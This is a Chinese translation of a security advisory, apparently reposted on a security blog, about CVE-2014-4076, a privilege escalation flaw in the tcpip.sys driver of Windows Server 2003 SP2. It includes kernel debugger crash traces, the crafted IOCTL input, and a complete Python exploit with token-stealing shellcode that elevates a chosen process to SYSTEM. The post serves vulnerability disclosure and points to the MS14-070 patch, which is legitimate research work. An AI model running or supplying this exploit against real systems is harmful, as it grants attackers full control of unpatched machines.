Microsoft Windows Server 2003 SP2 本地提权(CVE-2014-4076)

2015-02-04 16,629

 

1. 漏洞细节

厂商: Microsoft
产品: TCP/IP 协议驱动
版本: 5.2.3790.4573
平台: Microsoft Windows Server 2003 Service Pack 2
架构: x86, x64, Itanium
影响: 权限提升
攻击变量: 控制码
CVE-ID: CVE-2014-4076

公告ID: KL-001-2015-001

公开日期: 2015.01.28

microsoft

2. 漏洞描述

tcpip.sys驱动未能充分的验证内存。在处理过程中一些对象处理了用户提供的控制码。

3. 技术描述

通过NtDeviceIoControlFile()方法构造一个传入Tcp驱动的内存。就有可能触发一个允许攻击者提升权限的漏洞。
这个漏洞是通过fuzz tcpip.sys 发现的。一个集合的控制码被当作目标按顺序fuzz。在这个过程中有一个控制码崩溃,崩溃发生在IOCTL 0x00120028。

这些操作在x86 Windows Server 2003, Service Pack 2.

ErrCode = 00000000
     eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270
     eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0         nv up ei pl zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
     tcpip!SetAddrOptions+0x1d:
     f67ebbbd 8b5e28          mov     ebx,dword ptr [esi+28h] ds:0023:00000028=????????

第二个异常出现在mov指令。这个指令尝试从一个未分配的地址拷贝一个指针。因为没有找到指针,触发异常。
我们来看一下调用桟

kd> kv
     *** Stack trace for last set context - .thread/.cxr resets it
     ChildEBP RetAddr  Args to Child             
     f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo])
     f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo])
     f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo])
     f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo])
     f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo])
     f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo])
     f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo])
     f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo])
     f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])

nt!NtDeviceIoControlFile() 方法被调用,创建一个子序列链。 最终导致tcpip!SetAddrOptions()被调用。
通过分析这个调用 nt!NtDeviceIoControlFile() 我们可以分析出触发这个异常所需的信息。

 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a
     eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
     eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0         nv up ei pl zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
     nt!NtDeviceIoControlFile+0x2a:
     808e912e 5d              pop     ebp
     kd> db [ebp+2C] L?0x4
     b940dd60  00 00 00 00                                      ....
     kd> db [ebp+28] L?0x4
     b940dd5c  00 00 00 00                                      ....
     kd> db [ebp+24] L?0x4
     b940dd58  20 00 00 00                                       ...
     kd> db [ebp+20] L?0x4
     b940dd54  00 11 00 00                                      ....
     kd> db [ebp+1c] L?0x4
     b940dd50  28 00 12 00                                      (...
     kd> db [ebp+18] L?0x4
     b940dd4c  58 4f bd 00                                      XO..
     kd> db [ebp+14] L?0x4
     b940dd48  00 00 00 00                                      ....
     kd> db [ebp+10] L?0x4
     b940dd44  00 00 00 00                                      ....
     kd> db [ebp+0c] L?0x4
     b940dd40  00 00 00 00                                      ....
     kd> db [ebp+8] L?0x4
     b940dd3c  b8 06 00 00                                      ....

这个输入流是调用参考内存在0x1000长度为0x20。

kd> db 0x1100 L?0x20
     00001100  00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00  ................
     00001110  22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00  "...............

通过分析tcpip.sys 驱动,一些内存技巧被用来控制这个代码流,从而控制指针指向对攻击者可控制的区域。

 kd> db 0x28 L?0x11
     00000028  87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00  ...8............
     00000038  01
     eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
     eip=0000002a esp=b940db3c ebp=b940db60 iopl=0         nv up ei pl zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
     0000002a ff              ???

既然这个指令指针包含了0x0000002a ,EXP变得不那么重要。只需在这个内存地址放置期望的payload。可以导没权限的用户运行有权限的进程。

4. 修复建议

微软已经修复这个漏洞,并命名为 MS14-070
(https://technet.microsoft.com/library/security/MS14-070).

5. 版权

这个漏洞由 KoreLogic Security, Inc. 的Matt Bergin 发现

6. EXP

#!/usr/bin/python2
#
# KL-001-2015-001 / MS14-070 / CVE-2014-4076
# Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation
# Matt Bergin @ KoreLogic / Level @ Smash the Stack
# shout out to bla
#
 
from optparse import OptionParser
from subprocess import Popen
from os.path import exists
from struct import pack
from threading import Thread
from time import sleep
from ctypes import *
from sys import exit
 
CreateFileA, NtAllocateVirtualMemory, WriteProcessMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory, windll.kernel32.WriteProcessMemory
DeviceIoControlFile, CloseHandle = windll.ntdll.ZwDeviceIoControlFile, windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = - \
    1, 2, 1, 3, 0
 
 
def spawn_process(path):
    process = Popen([path], shell=True)
    pid = process.pid
    return
 
 
def main():
    print "CVE-2014-4076 x86 exploit, Level\n"
    global pid, process
    parser = OptionParser()
    parser.add_option(
        "--path", dest="path", help="path of process to start and elevate")
    parser.add_option(
        "--pid", dest="pid", help="pid of running process to elevate")
    o, a = parser.parse_args()
    if (o.path == None and o.pid == None):
        print "[!] no path or pid set"
        exit(1)
    else:
        if (o.path != None):
            if (exists(o.path) != True):
                print "[!] path does not exist"
                exit(1)
        else:
            Thread(target=spawn_process, args=(
                o.path), name='attacker-cmd').start()
            if (o.pid != None):
                try:
                    pid = int(o.pid)
                except:
                    print "[!] could not convert PID to an interger."
                    exit(1)
    while True:
        if ("pid" not in globals()):
            sleep(1)
        else:
            print "[+] caught attacker cmd at %s, elevating now" % (pid)
            break
    buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
    sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
    sc = sc.replace("\x41\x41\x41\x41", pack('<L', pid))
    sc = sc.replace("\x11\x11\x11\x11", "\x39\xff\xa2\xba")
    sc = sc.replace("\x22\x22\x22\x22", "\x00\x00\x00\x00")
    handle = CreateFileA("\\\\.\\Tcp", FILE_SHARE_WRITE |
                         FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None)
    if (handle == -1):
        print "[!] could not open handle into the Tcp device"
        exit(1)
    print "[+] allocating memory"
    ret_one = NtAllocateVirtualMemory(-1, byref(c_int(0x1000)),
                                      0x0, byref(c_int(0x4000)), 0x1000 | 0x2000, 0x40)
    if (ret_one != 0):
        print "[!] could not allocate memory..."
        exit(1)
    print "[+] writing relevant memory..."
    ret_two = WriteProcessMemory(-1, 0x28,
                                 "\x87\xff\xff\x38", 4, byref(c_int(0)))
    ret_three = WriteProcessMemory(-1, 0x38, "\x00" * 2, 2, byref(c_int(0)))
    ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))
    ret_five = WriteProcessMemory(-1, 0x2b, "\x00" * 2, 2, byref(c_int(0)))
    ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
    print "[+] attack setup done, crane kick!"
    DeviceIoControlFile(handle, NULL, NULL, NULL, byref(
        c_ulong(8)), 0x00120028, 0x1100, len(buf), 0x0, 0x0)
    CloseHandle(handle)
    exit(0)
if __name__ == "__main__":
    main()

 

【原文:KL-001-2015-001.txt  翻译:360安全播报

本文作者:sev7n

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/4488.html

Tags:
评论  (0)
快来写下你的想法吧!

sev7n

文章数:5 积分: 2

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号